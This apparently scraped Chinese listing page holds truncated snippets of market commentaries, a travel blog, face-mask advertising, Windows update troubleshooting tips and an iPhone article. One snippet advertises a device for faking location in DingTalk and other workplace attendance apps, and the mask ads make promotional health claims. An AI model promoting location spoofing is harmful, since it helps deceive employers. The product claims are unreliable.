原标题:【原油贵金属早评】欧佩克稳定市场,填补伊朗问题的影响近日伊朗局势升温,导致市场担忧影响原油供给,油价试图反弹。此时OPEC表态稳定市场。据消息人士透露,沙特6月石油出口料将低于700万桶/日,沙特已经收到石油消费国提出的6月份扩大出口的“适度要求”,沙特将满…...
2024/5/4 23:55:05 - 【外汇早评】美欲与伊朗重谈协议
原标题:【外汇早评】美欲与伊朗重谈协议美国对伊朗的制裁遭到伊朗的抗议,昨日伊朗方面提出将部分退出伊核协议。而此行为又遭到欧洲方面对伊朗的谴责和警告,伊朗外长昨日回应称,欧洲国家履行它们的义务,伊核协议就能保证存续。据传闻伊朗的导弹已经对准了以色列和美国的航…...
2024/5/4 23:54:56 - 【原油贵金属早评】波动率飙升,市场情绪动荡
原标题:【原油贵金属早评】波动率飙升,市场情绪动荡因中美贸易谈判不安情绪影响,金融市场各资产品种出现明显的波动。随着美国与中方开启第十一轮谈判之际,美国按照既定计划向中国2000亿商品征收25%的关税,市场情绪有所平复,已经开始接受这一事实。虽然波动率-恐慌指数VI…...
2024/5/4 23:55:16 - 【原油贵金属周评】伊朗局势升温,黄金多头跃跃欲试
原标题:【原油贵金属周评】伊朗局势升温,黄金多头跃跃欲试美国和伊朗的局势继续升温,市场风险情绪上升,避险黄金有向上突破阻力的迹象。原油方面稍显平稳,近期美国和OPEC加大供给及市场需求回落的影响,伊朗局势并未推升油价走强。近期中美贸易谈判摩擦再度升级,美国对中…...
2024/5/4 23:54:56 - 【原油贵金属早评】市场情绪继续恶化,黄金上破
原标题:【原油贵金属早评】市场情绪继续恶化,黄金上破周初中国针对于美国加征关税的进行的反制措施引发市场情绪的大幅波动,人民币汇率出现大幅的贬值动能,金融市场受到非常明显的冲击。尤其是波动率起来之后,对于股市的表现尤其不安。隔夜美国股市出现明显的下行走势,这…...
2024/5/6 1:40:42 - 【外汇早评】美伊僵持,风险情绪继续升温
原标题:【外汇早评】美伊僵持,风险情绪继续升温昨日沙特两艘油轮再次发生爆炸事件,导致波斯湾局势进一步恶化,市场担忧美伊可能会出现摩擦生火,避险品种获得支撑,黄金和日元大幅走强。美指受中美贸易问题影响而在低位震荡。继5月12日,四艘商船在阿联酋领海附近的阿曼湾、…...
2024/5/4 23:54:56 - 【原油贵金属早评】贸易冲突导致需求低迷,油价弱势
原标题:【原油贵金属早评】贸易冲突导致需求低迷,油价弱势近日虽然伊朗局势升温,中东地区几起油船被袭击事件影响,但油价并未走高,而是出于调整结构中。由于市场预期局势失控的可能性较低,而中美贸易问题导致的全球经济衰退风险更大,需求会持续低迷,因此油价调整压力较…...
2024/5/4 23:55:17 - 氧生福地 玩美北湖(上)——为时光守候两千年
原标题:氧生福地 玩美北湖(上)——为时光守候两千年一次说走就走的旅行,只有一张高铁票的距离~ 所以,湖南郴州,我来了~ 从广州南站出发,一个半小时就到达郴州西站了。在动车上,同时改票的南风兄和我居然被分到了一个车厢,所以一路非常愉快地聊了过来。 挺好,最起…...
2024/5/4 23:55:06 - 氧生福地 玩美北湖(中)——永春梯田里的美与鲜
原标题:氧生福地 玩美北湖(中)——永春梯田里的美与鲜一觉醒来,因为大家太爱“美”照,在柳毅山庄去寻找龙女而错过了早餐时间。近十点,向导坏坏还是带着饥肠辘辘的我们去吃郴州最富有盛名的“鱼头粉”。说这是“十二分推荐”,到郴州必吃的美食之一。 哇塞!那个味美香甜…...
2024/5/4 23:54:56 - 氧生福地 玩美北湖(下)——奔跑吧骚年!
原标题:氧生福地 玩美北湖(下)——奔跑吧骚年!让我们红尘做伴 活得潇潇洒洒 策马奔腾共享人世繁华 对酒当歌唱出心中喜悦 轰轰烈烈把握青春年华 让我们红尘做伴 活得潇潇洒洒 策马奔腾共享人世繁华 对酒当歌唱出心中喜悦 轰轰烈烈把握青春年华 啊……啊……啊 两…...
2024/5/4 23:55:06 - 扒开伪装医用面膜,翻六倍价格宰客,小姐姐注意了!
原标题:扒开伪装医用面膜,翻六倍价格宰客,小姐姐注意了!扒开伪装医用面膜,翻六倍价格宰客!当行业里的某一品项火爆了,就会有很多商家蹭热度,装逼忽悠,最近火爆朋友圈的医用面膜,被沾上了污点,到底怎么回事呢? “比普通面膜安全、效果好!痘痘、痘印、敏感肌都能用…...
2024/5/5 8:13:33 - 「发现」铁皮石斛仙草之神奇功效用于医用面膜
原标题:「发现」铁皮石斛仙草之神奇功效用于医用面膜丽彦妆铁皮石斛医用面膜|石斛多糖无菌修护补水贴19大优势: 1、铁皮石斛:自唐宋以来,一直被列为皇室贡品,铁皮石斛生于海拔1600米的悬崖峭壁之上,繁殖力差,产量极低,所以古代仅供皇室、贵族享用 2、铁皮石斛自古民间…...
2024/5/4 23:55:16 - 丽彦妆\医用面膜\冷敷贴轻奢医学护肤引导者
原标题:丽彦妆\医用面膜\冷敷贴轻奢医学护肤引导者【公司简介】 广州华彬企业隶属香港华彬集团有限公司,专注美业21年,其旗下品牌: 「圣茵美」私密荷尔蒙抗衰,产后修复 「圣仪轩」私密荷尔蒙抗衰,产后修复 「花茵莳」私密荷尔蒙抗衰,产后修复 「丽彦妆」专注医学护…...
2024/5/4 23:54:58 - 广州械字号面膜生产厂家OEM/ODM4项须知!
原标题:广州械字号面膜生产厂家OEM/ODM4项须知!广州械字号面膜生产厂家OEM/ODM流程及注意事项解读: 械字号医用面膜,其实在我国并没有严格的定义,通常我们说的医美面膜指的应该是一种「医用敷料」,也就是说,医用面膜其实算作「医疗器械」的一种,又称「医用冷敷贴」。 …...
2024/5/4 23:55:01 - 械字号医用眼膜缓解用眼过度到底有无作用?
原标题:械字号医用眼膜缓解用眼过度到底有无作用?医用眼膜/械字号眼膜/医用冷敷眼贴 凝胶层为亲水高分子材料,含70%以上的水分。体表皮肤温度传导到本产品的凝胶层,热量被凝胶内水分子吸收,通过水分的蒸发带走大量的热量,可迅速地降低体表皮肤局部温度,减轻局部皮肤的灼…...
2024/5/4 23:54:56 - 配置失败还原请勿关闭计算机,电脑开机屏幕上面显示,配置失败还原更改 请勿关闭计算机 开不了机 这个问题怎么办...
解析如下:1、长按电脑电源键直至关机,然后再按一次电源健重启电脑,按F8健进入安全模式2、安全模式下进入Windows系统桌面后,按住“winR”打开运行窗口,输入“services.msc”打开服务设置3、在服务界面,选中…...
2022/11/19 21:17:18 - 错误使用 reshape要执行 RESHAPE,请勿更改元素数目。
%读入6幅图像(每一幅图像的大小是564*564) f1 imread(WashingtonDC_Band1_564.tif); subplot(3,2,1),imshow(f1); f2 imread(WashingtonDC_Band2_564.tif); subplot(3,2,2),imshow(f2); f3 imread(WashingtonDC_Band3_564.tif); subplot(3,2,3),imsho…...
2022/11/19 21:17:16 - 配置 已完成 请勿关闭计算机,win7系统关机提示“配置Windows Update已完成30%请勿关闭计算机...
win7系统关机提示“配置Windows Update已完成30%请勿关闭计算机”问题的解决方法在win7系统关机时如果有升级系统的或者其他需要会直接进入一个 等待界面,在等待界面中我们需要等待操作结束才能关机,虽然这比较麻烦,但是对系统进行配置和升级…...
2022/11/19 21:17:15 - 台式电脑显示配置100%请勿关闭计算机,“准备配置windows 请勿关闭计算机”的解决方法...
有不少用户在重装Win7系统或更新系统后会遇到“准备配置windows,请勿关闭计算机”的提示,要过很久才能进入系统,有的用户甚至几个小时也无法进入,下面就教大家这个问题的解决方法。第一种方法:我们首先在左下角的“开始…...
2022/11/19 21:17:14 - win7 正在配置 请勿关闭计算机,怎么办Win7开机显示正在配置Windows Update请勿关机...
置信有很多用户都跟小编一样遇到过这样的问题,电脑时发现开机屏幕显现“正在配置Windows Update,请勿关机”(如下图所示),而且还需求等大约5分钟才干进入系统。这是怎样回事呢?一切都是正常操作的,为什么开时机呈现“正…...
2022/11/19 21:17:13 - 准备配置windows 请勿关闭计算机 蓝屏,Win7开机总是出现提示“配置Windows请勿关机”...
Win7系统开机启动时总是出现“配置Windows请勿关机”的提示,没过几秒后电脑自动重启,每次开机都这样无法进入系统,此时碰到这种现象的用户就可以使用以下5种方法解决问题。方法一:开机按下F8,在出现的Windows高级启动选…...
2022/11/19 21:17:12 - 准备windows请勿关闭计算机要多久,windows10系统提示正在准备windows请勿关闭计算机怎么办...
有不少windows10系统用户反映说碰到这样一个情况,就是电脑提示正在准备windows请勿关闭计算机,碰到这样的问题该怎么解决呢,现在小编就给大家分享一下windows10系统提示正在准备windows请勿关闭计算机的具体第一种方法:1、2、依次…...
2022/11/19 21:17:11 - 配置 已完成 请勿关闭计算机,win7系统关机提示“配置Windows Update已完成30%请勿关闭计算机”的解决方法...
今天和大家分享一下win7系统重装了Win7旗舰版系统后,每次关机的时候桌面上都会显示一个“配置Windows Update的界面,提示请勿关闭计算机”,每次停留好几分钟才能正常关机,导致什么情况引起的呢?出现配置Windows Update…...
2022/11/19 21:17:10 - 电脑桌面一直是清理请关闭计算机,windows7一直卡在清理 请勿关闭计算机-win7清理请勿关机,win7配置更新35%不动...
只能是等着,别无他法。说是卡着如果你看硬盘灯应该在读写。如果从 Win 10 无法正常回滚,只能是考虑备份数据后重装系统了。解决来方案一:管理员运行cmd:net stop WuAuServcd %windir%ren SoftwareDistribution SDoldnet start WuA…...
2022/11/19 21:17:09 - 计算机配置更新不起,电脑提示“配置Windows Update请勿关闭计算机”怎么办?
原标题:电脑提示“配置Windows Update请勿关闭计算机”怎么办?win7系统中在开机与关闭的时候总是显示“配置windows update请勿关闭计算机”相信有不少朋友都曾遇到过一次两次还能忍但经常遇到就叫人感到心烦了遇到这种问题怎么办呢?一般的方…...
2022/11/19 21:17:08 - 计算机正在配置无法关机,关机提示 windows7 正在配置windows 请勿关闭计算机 ,然后等了一晚上也没有关掉。现在电脑无法正常关机...
关机提示 windows7 正在配置windows 请勿关闭计算机 ,然后等了一晚上也没有关掉。现在电脑无法正常关机以下文字资料是由(历史新知网www.lishixinzhi.com)小编为大家搜集整理后发布的内容,让我们赶快一起来看一下吧!关机提示 windows7 正在配…...
2022/11/19 21:17:05 - 钉钉提示请勿通过开发者调试模式_钉钉请勿通过开发者调试模式是真的吗好不好用...
钉钉请勿通过开发者调试模式是真的吗好不好用 更新时间:2020-04-20 22:24:19 浏览次数:729次 区域: 南阳 > 卧龙 列举网提醒您:为保障您的权益,请不要提前支付任何费用! 虚拟位置外设器!!轨迹模拟&虚拟位置外设神器 专业用于:钉钉,外勤365,红圈通,企业微信和…...
2022/11/19 21:17:05 - 配置失败还原请勿关闭计算机怎么办,win7系统出现“配置windows update失败 还原更改 请勿关闭计算机”,长时间没反应,无法进入系统的解决方案...
前几天班里有位学生电脑(windows 7系统)出问题了,具体表现是开机时一直停留在“配置windows update失败 还原更改 请勿关闭计算机”这个界面,长时间没反应,无法进入系统。这个问题原来帮其他同学也解决过,网上搜了不少资料&#x…...
2022/11/19 21:17:04 - 一个电脑无法关闭计算机你应该怎么办,电脑显示“清理请勿关闭计算机”怎么办?...
本文为你提供了3个有效解决电脑显示“清理请勿关闭计算机”问题的方法,并在最后教给你1种保护系统安全的好方法,一起来看看!电脑出现“清理请勿关闭计算机”在Windows 7(SP1)和Windows Server 2008 R2 SP1中,添加了1个新功能在“磁…...
2022/11/19 21:17:03 - 请勿关闭计算机还原更改要多久,电脑显示:配置windows更新失败,正在还原更改,请勿关闭计算机怎么办...
许多用户在长期不使用电脑的时候,开启电脑发现电脑显示:配置windows更新失败,正在还原更改,请勿关闭计算机。。.这要怎么办呢?下面小编就带着大家一起看看吧!如果能够正常进入系统,建议您暂时移…...
2022/11/19 21:17:02 - 还原更改请勿关闭计算机 要多久,配置windows update失败 还原更改 请勿关闭计算机,电脑开机后一直显示以...
配置windows update失败 还原更改 请勿关闭计算机,电脑开机后一直显示以以下文字资料是由(历史新知网www.lishixinzhi.com)小编为大家搜集整理后发布的内容,让我们赶快一起来看一下吧!配置windows update失败 还原更改 请勿关闭计算机&#x…...
2022/11/19 21:17:01 - 电脑配置中请勿关闭计算机怎么办,准备配置windows请勿关闭计算机一直显示怎么办【图解】...
不知道大家有没有遇到过这样的一个问题,就是我们的win7系统在关机的时候,总是喜欢显示“准备配置windows,请勿关机”这样的一个页面,没有什么大碍,但是如果一直等着的话就要两个小时甚至更久都关不了机,非常…...
2022/11/19 21:17:00 - 正在准备配置请勿关闭计算机,正在准备配置windows请勿关闭计算机时间长了解决教程...
当电脑出现正在准备配置windows请勿关闭计算机时,一般是您正对windows进行升级,但是这个要是长时间没有反应,我们不能再傻等下去了。可能是电脑出了别的问题了,来看看教程的说法。正在准备配置windows请勿关闭计算机时间长了方法一…...
2022/11/19 21:16:59 - 配置失败还原请勿关闭计算机,配置Windows Update失败,还原更改请勿关闭计算机...
我们使用电脑的过程中有时会遇到这种情况,当我们打开电脑之后,发现一直停留在一个界面:“配置Windows Update失败,还原更改请勿关闭计算机”,等了许久还是无法进入系统。如果我们遇到此类问题应该如何解决呢࿰…...
2022/11/19 21:16:58 - 如何在iPhone上关闭“请勿打扰”
Apple’s “Do Not Disturb While Driving” is a potentially lifesaving iPhone feature, but it doesn’t always turn on automatically at the appropriate time. For example, you might be a passenger in a moving car, but your iPhone may think you’re the one dri…...
2022/11/19 21:16:57